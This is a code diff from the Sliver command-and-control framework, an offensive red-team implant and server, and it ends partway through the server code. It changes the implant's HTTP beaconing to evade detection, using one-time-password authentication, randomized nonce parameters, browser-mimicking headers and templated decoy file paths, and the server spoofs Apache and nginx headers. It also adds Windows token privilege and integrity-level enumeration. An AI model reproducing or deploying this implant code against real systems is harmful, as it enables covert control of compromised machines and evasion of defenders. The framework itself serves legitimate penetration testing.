 gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
 gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
 gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
+gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
+gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=

implant/go-mod

@@ -14,4 +14,5 @@ require (
         inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
         golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
+        github.com/pquerna/otp v1.3.0
 )

implant/sliver/encoders/encoders.go

@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
 	return nonce, EncoderMap[encoderID]
 }
 
+// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
+func RandomTxtEncoder() (int, Encoder) {
+	textEncoders := map[int]Encoder{
+		EnglishEncoderID: English{},
+		Base64EncoderID:  Base64{},
+	}
+	keys := make([]int, 0, len(textEncoders))
+	for k := range textEncoders {
+		keys = append(keys, k)
+	}
+	encoderID := keys[insecureRand.Intn(len(keys))]
+	nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
+	return nonce, textEncoders[encoderID]
+}
+
 // NopNonce - A NOP nonce identifies a request with no encoder/payload
 //            any value where mod = 0
 func NopNonce() int {

implant/sliver/handlers/handlers.go

@@ -28,6 +28,7 @@ import (
 	"io/ioutil"
 	"os/exec"
 	"strings"
+	"time"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	dir, files, err := getDirList(dirListReq.Path)
 
 	// Convert directory listing to protobuf
-	dirList := &sliverpb.Ls{Path: dir}
+	timezone, offset := time.Now().Zone()
+	dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
 	if err == nil {
 		dirList.Exists = true
 	} else {
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
 			Name:  fileInfo.Name(),
 			IsDir: fileInfo.IsDir(),
 			Size:  fileInfo.Size(),
+			/* Send the time back to the client / server as the number of seconds
+			since epoch.  This will decouple formatting the time to display from the
+			time itself.  We can change the format of the time displayed in the client
+			and not have to worry about having to update implants.
+			*/
+			ModTime: fileInfo.ModTime().Unix(),
+			Mode:    fileInfo.Mode().String(),
 		})
 	}
 

implant/sliver/handlers/handlers_windows.go

@@ -543,7 +543,7 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 		return
 	}
 
-	privsInfo, err := priv.GetPrivs()
+	privsInfo, integrity, processName, err := priv.GetPrivs()
 
 	response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
 
@@ -567,8 +567,10 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 
 	// Package up the response
 	getPrivsResp := &sliverpb.GetPrivs{
-		PrivInfo: response_data,
-		Response: &commonpb.Response{},
+		PrivInfo:         response_data,
+		ProcessIntegrity: integrity,
+		ProcessName:      processName,
+		Response:         &commonpb.Response{},
 	}
 
 	if err != nil {

implant/sliver/priv/priv_windows.go

@@ -42,7 +42,11 @@ import (
 )
 
 const (
-	THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
+	THREAD_ALL_ACCESS             = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
+	SECURITY_MANDATORY_LOW_RID    = 0x00001000
+	SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
+	SECURITY_MANDATORY_HIGH_RID   = 0x00003000
+	SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
 )
 
 type PrivilegeInfo struct {
@@ -340,6 +344,60 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
 	return
 }
 
+func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
+	// A place to put the size of the token integrity information
+	var tokenIntegrityBufferSize uint32
+
+	// Determine the integrity of the process
+	windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
+
+	if tokenIntegrityBufferSize < 4 {
+		// {{if .Config.Debug}}
+		log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
+		// {{end}}
+		return "Unknown", nil
+	}
+
+	tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
+
+	err := windows.GetTokenInformation(processToken,
+		windows.TokenIntegrityLevel,
+		&tokenIntegrityBuffer[0],
+		tokenIntegrityBufferSize,
+		&tokenIntegrityBufferSize,
+	)
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Error in call to GetTokenInformation (integrity): ", err)
+		// {{end}}
+		return "", err
+	}
+
+	/*
+		When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
+		is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
+		which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
+
+		We need the last 4 bytes (uint32) from the structure because that contains the attributes.  The attributes
+		tell us what privilege level we are operating at.
+	*/
+
+	var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
+
+	if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
+		return "Untrusted", nil
+	} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
+		return "Low", nil
+	} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
+		return "Medium", nil
+	} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
+		return "High", nil
+	}
+
+	return "Unknown", nil
+}
+
 func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 	/*
 	   We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
@@ -348,6 +406,8 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 
 	   Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
 	   mkwinsyscall, so we are good to go.
+
+	   mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
 	*/
 
 	// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
@@ -381,44 +441,73 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 	return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
 }
 
-func GetPrivs() ([]PrivilegeInfo, error) {
+func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 	// A place to store the process token
-	var tokenHandle syscall.Token
+	var tokenHandle windows.Token
+
+	// Process integrity
+	var integrity string
+
+	// The current process name
+	var processName string
 
 	// A place to put the size of the token information
 	var tokenInfoBufferSize uint32
 
 	// Get a handle for the current process
-	currentProcHandle, err := syscall.GetCurrentProcess()
+	currentProcHandle, err := windows.GetCurrentProcess()
 
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Println("Could not get a handle for the current process: ", err)
 		// {{end}}
-		return nil, err
+		return nil, integrity, processName, err
+	}
+
+	// Get the PID for the current process
+	sessionPID, err := windows.GetProcessId(currentProcHandle)
+
+	// This error is not fatal.  Worst case, we can display the PID from the registered session
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Could not get PID for current process: ", err)
+		// {{end}}
+	} else {
+		// Get process info for the current PID
+		processInformation, err := ps.FindProcess(int(sessionPID))
+
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
+			// {{end}}
+		}
+
+		if processInformation != nil {
+			processName = processInformation.Executable()
+		}
 	}
 
 	// Get the process token from the current process
-	err = syscall.OpenProcessToken(currentProcHandle, syscall.TOKEN_QUERY, &tokenHandle)
+	err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
 
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Println("Could not open process token: ", err)
 		// {{end}}
-		return nil, err
+		return nil, integrity, processName, err
 	}
 
 	// Get the size of the token information buffer so we know how large of a buffer to allocate
 	// This produces an error about a data area passed to the syscall being too small, but
 	// we do not care about that because we just want to know how big of a buffer to make
-	syscall.GetTokenInformation(tokenHandle, syscall.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
+	windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
 
 	// Make the buffer and get token information
 	// Using a bytes Buffer so that we can Read from it later
 	tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
 
-	err = syscall.GetTokenInformation(tokenHandle,
-		syscall.TokenPrivileges,
+	err = windows.GetTokenInformation(tokenHandle,
+		windows.TokenPrivileges,
 		&tokenInfoBuffer.Bytes()[0],
 		uint32(tokenInfoBuffer.Len()),
 		&tokenInfoBufferSize,
@@ -426,9 +515,9 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Println("Error in call to GetTokenInformation: ", err)
+		log.Println("Error in call to GetTokenInformation (privileges): ", err)
 		// {{end}}
-		return nil, err
+		return nil, integrity, processName, err
 	}
 
 	// The first 32 bits is the number of privileges in the structure
@@ -439,7 +528,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 		// {{if .Config.Debug}}
 		log.Println("Could not read the number of privileges from the token information.")
 		// {{end}}
-		return nil, err
+		return nil, integrity, processName, err
 	}
 
 	/*
@@ -468,7 +557,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not read the LUID from the binary stream: ", err)
 			// {{end}}
-			return privInfo, err
+			return privInfo, integrity, processName, err
 		}
 
 		// Read the attributes
@@ -477,7 +566,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not read the attributes from the binary stream: ", err)
 			// {{end}}
-			return privInfo, err
+			return privInfo, integrity, processName, err
 		}
 
 		currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
@@ -485,7 +574,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not get privilege info based on the LUID: ", err)
 			// {{end}}
-			return privInfo, err
+			return privInfo, integrity, processName, err
 		}
 
 		// Figure out the attributes
@@ -497,5 +586,12 @@ func GetPrivs() ([]PrivilegeInfo, error) {
 		privInfo[index] = currentPrivInfo
 	}
 
-	return privInfo, nil
+	// Get the process integrity before we leave
+	integrity, err = getProcessIntegrityLevel(tokenHandle)
+
+	if err != nil {
+		return privInfo, "Could not determine integrity level", processName, err
+	}
+
+	return privInfo, integrity, processName, nil
 }

implant/sliver/sliver.go

@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
 	filename, err := os.Executable()
 	// Should not happen, but still...
 	if err != nil {
-		//TODO: build the absolute path to os.Args[0]
+		// TODO: build the absolute path to os.Args[0]
 		if 0 < len(os.Args) {
 			filename = os.Args[0]
 		} else {
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
 		ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
 		ProxyURL:          transports.GetProxyURL(),
 		PollInterval:      uint32(transports.GetPollInterval() / time.Second),
+		ConfigID:          "{{ .Config.ID }}",
 	})
 	if err != nil {
 		// {{if .Config.Debug}}

implant/sliver/transports/tcp-http.go

@@ -23,7 +23,7 @@ package transports
 // Procedural C2
 // ===============
 // .txt = rsakey
-// .jsp = init
+// .png = init
 // .php = session
 //  .js = poll
 
@@ -53,15 +53,23 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/encoders"
 	"github.com/bishopfox/sliver/implant/sliver/proxy"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/pquerna/otp"
+	"github.com/pquerna/otp/totp"
 	"google.golang.org/protobuf/proto"
 )
 
 const (
-	defaultUserAgent  = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
+	userAgent         = "{{GenerateUserAgent}}"
 	defaultNetTimeout = time.Second * 60
 	defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
+	nonceQueryArgs    = "abcdefghijklmnopqrstuvwxyz_"
+	acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
 )
 
+func init() {
+	insecureRand.Seed(time.Now().UnixNano())
+}
+
 // HTTPStartSession - Attempts to start a session with a given address
 func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
 	var client *SliverHTTPClient
@@ -119,23 +127,62 @@ func (s *SliverHTTPClient) SessionInit() error {
 	return nil
 }
 
-func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
-	req, _ := http.NewRequest(method, uri, body)
-	req.Header.Set("User-Agent", defaultUserAgent)
-	req.Header.Set("Accept-Language", "en-US")
-	query := req.URL.Query()
-	query.Set("_", fmt.Sprintf("%d", encoderNonce))
-	req.URL.RawQuery = query.Encode()
+func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
+	req, _ := http.NewRequest(method, uri.String(), body)
+	req.Header.Set("User-Agent", userAgent)
+	if method == http.MethodGet {
+		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
+		req.Header.Set("Accept", acceptHeaderValue)
+	}
+	if uri.Scheme == "http" {
+		req.Header.Set("Upgrade-Insecure-Requests", "1")
+	}
 	return req
 }
 
+func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
+	values := uri.Query()
+	key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
+	// {{if .Config.Debug}}
+	log.Printf("Encoder nonce %d", value)
+	// {{end}}
+	argValue := fmt.Sprintf("%d", value)
+	for i := 0; i < insecureRand.Intn(3); i++ {
+		index := insecureRand.Intn(len(argValue))
+		char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
+		argValue = argValue[:index] + char + argValue[index:]
+	}
+	values.Add(string(key), argValue)
+	uri.RawQuery = values.Encode()
+	return uri
+}
+
+func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
+	values := uri.Query()
+	key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
+	key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
+	for i := 0; i < insecureRand.Intn(3); i++ {
+		index := insecureRand.Intn(len(value))
+		char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
+		value = value[:index] + char + value[index:]
+	}
+	values.Add(string([]byte{key1, key2}), value)
+	uri.RawQuery = values.Encode()
+	return uri
+}
+
 func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
 	uri := s.txtURL()
+	nonce, encoder := encoders.RandomTxtEncoder()
+	s.nonceQueryArgument(uri, nonce)
+	otpCode := getOTPCode()
+	s.otpQueryArgument(uri, otpCode)
+
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
-	nonce, encoder := encoders.RandomEncoder()
-	req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
+
+	req := s.newHTTPRequest(http.MethodGet, uri, nil)
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -180,22 +227,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
 // We do our own POST here because the server doesn't have the
 // session key yet.
 func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
-
 	nonce, encoder := encoders.RandomEncoder()
-	// {{if .Config.Debug}}
-	log.Printf("[http] sessionInit = %v", sessionInit)
-	// {{end}}
 	payload := encoder.Encode(sessionInit)
-	// {{if .Config.Debug}}
-	log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
-	// {{end}}
 	reqBody := bytes.NewReader(payload) // Already RSA encrypted
 
-	uri := s.jspURL()
-	req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
+	uri := s.phtmlURL()
+	s.nonceQueryArgument(uri, nonce)
+	otpCode := getOTPCode()
+	s.otpQueryArgument(uri, otpCode)
+	req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST -> %s", uri)
 	// {{end}}
+
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		return err
@@ -227,7 +271,8 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
 	}
 	uri := s.jsURL()
 	nonce, encoder := encoders.RandomEncoder()
-	req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
+	s.nonceQueryArgument(uri, nonce)
+	req := s.newHTTPRequest(http.MethodGet, uri, nil)
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
@@ -269,13 +314,16 @@ func (s *SliverHTTPClient) Send(data []byte) error {
 	}
 	reqData, err := GCMEncrypt(*s.SessionKey, data)
 
-	nonce, encoder := encoders.RandomEncoder()
-	reader := bytes.NewReader(encoder.Encode(reqData))
 	uri := s.phpURL()
+	nonce, encoder := encoders.RandomEncoder()
+	s.nonceQueryArgument(uri, nonce)
+	reader := bytes.NewReader(encoder.Encode(reqData))
+
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST -> %s", uri)
 	// {{end}}
-	req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
+
+	req := s.newHTTPRequest(http.MethodPost, uri, reader)
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -299,44 +347,97 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
 	return strings.Join(segments, "/")
 }
 
-func (s *SliverHTTPClient) jsURL() string {
+// Procedural C2
+// ===============
+// .txt = rsakey
+// .php = start / session
+// .js = poll
+// .png = stop
+// .woff = sliver shellcode
+
+func (s *SliverHTTPClient) jsURL() *url.URL {
 	curl, _ := url.Parse(s.Origin)
-	segments := []string{"js", "static", "assets", "dist", "javascript"}
-	filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
+
+	segments := []string{
+		// {{range .HTTPC2Config.JsPaths}}
+		"{{.}}",
+		// {{end}}
+	}
+	filenames := []string{
+		// {{range .HTTPC2Config.JsFiles}}
+		"{{.}}",
+		// {{end}}
+	}
+
 	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
-	return curl.String()
+	return curl
 }
 
-func (s *SliverHTTPClient) jspURL() string {
+func (s *SliverHTTPClient) pngURL() *url.URL {
 	curl, _ := url.Parse(s.Origin)
-	segments := []string{"app", "admin", "upload", "actions", "api"}
-	filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
+
+	segments := []string{
+		// {{range .HTTPC2Config.PngPaths}}
+		"{{.}}",
+		// {{end}}
+	}
+	filenames := []string{
+		// {{range .HTTPC2Config.PngFiles}}
+		"{{.}}",
+		// {{end}}
+	}
+
 	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
-	return curl.String()
+	return curl
 }
 
-func (s *SliverHTTPClient) phpURL() string {
+func (s *SliverHTTPClient) phpURL() *url.URL {
 	curl, _ := url.Parse(s.Origin)
-	segments := []string{"api", "rest", "drupal", "wordpress"}
-	filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
+	segments := []string{
+		// {{range .HTTPC2Config.PhpPaths}}
+		"{{.}}",
+		// {{end}}
+	}
+	filenames := []string{
+		// {{range .HTTPC2Config.PhpFiles}}
+		"{{.}}",
+		// {{end}}
+	}
 	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
-	return curl.String()
+	return curl
 }
 
-func (s *SliverHTTPClient) txtURL() string {
-	curl, _ := url.Parse(s.Origin)
-	segments := []string{"static", "www", "assets", "text", "docs", "sample"}
-	filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
-	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
-	return curl.String()
+func (s *SliverHTTPClient) phtmlURL() *url.URL {
+	curl := s.phpURL()
+	curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
+	return curl
 }
 
+func (s *SliverHTTPClient) txtURL() *url.URL {
+	curl, _ := url.Parse(s.Origin)
+	segments := []string{
+		// {{range .HTTPC2Config.TxtPaths}}
+		"{{.}}",
+		// {{end}}
+	}
+	filenames := []string{
+		// {{range .HTTPC2Config.TxtFiles}}
+		"{{.}}",
+		// {{end}}
+	}
+	curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
+	return curl
+}
+
+// Must return at least a file name, path segments are optional
 func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
-	n := insecureRand.Intn(2) // How many segments?
 	genSegments := []string{}
-	for index := 0; index < n; index++ {
-		seg := segments[insecureRand.Intn(len(segments))]
-		genSegments = append(genSegments, seg)
+	if 0 < len(segments) {
+		n := insecureRand.Intn(len(segments)) // How many segments?
+		for index := 0; index < n; index++ {
+			seg := segments[insecureRand.Intn(len(segments))]
+			genSegments = append(genSegments, seg)
+		}
 	}
 	filename := filenames[insecureRand.Intn(len(filenames))]
 	genSegments = append(genSegments, filename)
@@ -450,4 +551,19 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
 	return jar.cookies
 }
 
+func getOTPCode() string {
+	now := time.Now().UTC()
+	opts := totp.ValidateOpts{
+		Digits:    8,
+		Algorithm: otp.AlgorithmSHA256,
+		Period:    uint(30),
+		Skew:      uint(1),
+	}
+	code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
+	// {{if .Config.Debug}}
+	log.Printf("HTTP(S) TOTP Code: %s", code)
+	// {{end}}
+	return code
+}
+
 // {{end}} -HTTPc2Enabled

protobuf/clientpb/client.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.15.8
+// 	protoc        v3.17.3
 // source: clientpb/client.proto
 
 package clientpb
@@ -658,6 +658,7 @@ type ImplantConfig struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
+	ID                  string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
 	GOOS                string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
 	GOARCH              string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
 	Name                string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
@@ -722,6 +723,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
 	return file_clientpb_client_proto_rawDescGZIP(), []int{3}
 }
 
+func (x *ImplantConfig) GetID() string {
+	if x != nil {
+		return x.ID
+	}
+	return ""
+}
+
 func (x *ImplantConfig) GetGOOS() string {
 	if x != nil {
 		return x.GOOS
@@ -4521,8 +4529,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
 	0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
 	0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
-	0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
-	0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
+	0x6f, 0x6e, 0x73, 0x22, 0x8c, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
+	0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
+	0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
 	0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
 	0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
 	0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,

protobuf/clientpb/client.proto

@@ -59,6 +59,8 @@ enum OutputFormat {
 }
 
 message ImplantConfig {
+  string ID = 100;
+
   string GOOS = 1;
   string GOARCH = 2;
   string Name = 3;

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.15.8
+// 	protoc        v3.17.3
 // source: commonpb/common.proto
 
 package commonpb

protobuf/rpcpb/services.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.15.8
+// 	protoc        v3.17.3
 // source: rpcpb/services.proto
 
 package rpcpb

protobuf/sliverpb/sliver.proto

@@ -47,6 +47,7 @@ message Register {
   uint32 ReconnectInterval = 13;
   string ProxyURL = 14;
   uint32 PollInterval = 15;
+  string ConfigID = 16;
 }
 
 // Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -120,6 +121,8 @@ message Ls {
   string Path = 1;
   bool Exists = 2;
   repeated FileInfo Files = 3;
+  string timezone = 4;
+  int32 timezoneOffset = 5;
 
   commonpb.Response Response = 9;
 }
@@ -128,6 +131,8 @@ message FileInfo {
   string Name = 1;
   bool IsDir = 2;
   int64 Size = 3;
+  int64 ModTime = 4;
+  string Mode = 5;
 }
 
 message CdReq {
@@ -826,6 +831,8 @@ message WindowsPrivilegeEntry {
 
 message GetPrivs {
   repeated WindowsPrivilegeEntry PrivInfo = 1;
+  string ProcessIntegrity = 2;
+  string ProcessName = 3;
 
   commonpb.Response Response = 9;
 }

server/c2/http.go

@@ -19,6 +19,7 @@ package c2
 */
 
 import (
+	"bytes"
 	"context"
 	"crypto/rand"
 	"crypto/sha256"
@@ -27,19 +28,23 @@ import (
 	"encoding/base64"
 	"encoding/hex"
 	"encoding/pem"
+	"errors"
 	"fmt"
 	"io/ioutil"
 	insecureRand "math/rand"
 	"net"
 	"net/http"
+	"net/url"
 	"path/filepath"
 	"strconv"
 	"strings"
 	"sync"
 	"time"
+	"unicode"
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/server/certs"
+	"github.com/bishopfox/sliver/server/configs"
 	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/cryptography"
 	sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -54,14 +59,20 @@ import (
 var (
 	httpLog   = log.NamedLogger("c2", "http")
 	accessLog = log.NamedLogger("c2", "http-access")
+
+	ErrMissingNonce = errors.New("nonce not found in request")
+	ErrMissingOTP   = errors.New("otp code not found in request")
 )
 
 const (
 	defaultHTTPTimeout = time.Second * 60
 	pollTimeout        = defaultHTTPTimeout - 5
-	sessionCookieName  = "PHPSESSID"
 )
 
+func init() {
+	insecureRand.Seed(time.Now().UnixNano())
+}
+
 // HTTPSession - Holds data related to a sliver c2 session
 type HTTPSession struct {
 	ID      string
@@ -135,6 +146,7 @@ type SliverHTTPC2 struct {
 	HTTPSessions *HTTPSessions
 	SliverStage  []byte // Sliver shellcode to serve during staging process
 	Cleanup      func()
+	EnforceOTP   bool
 
 	server    string
 	poweredBy string
@@ -142,15 +154,30 @@ type SliverHTTPC2 struct {
 
 func (s *SliverHTTPC2) getServerHeader() string {
 	if s.server == "" {
-		s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
+		switch insecureRand.Intn(1) {
+		case 0:
+			s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
+		default:
+			s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
+		}
 	}
 	return s.server
 }
 
+func (s *SliverHTTPC2) getCookieName() string {
+	cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
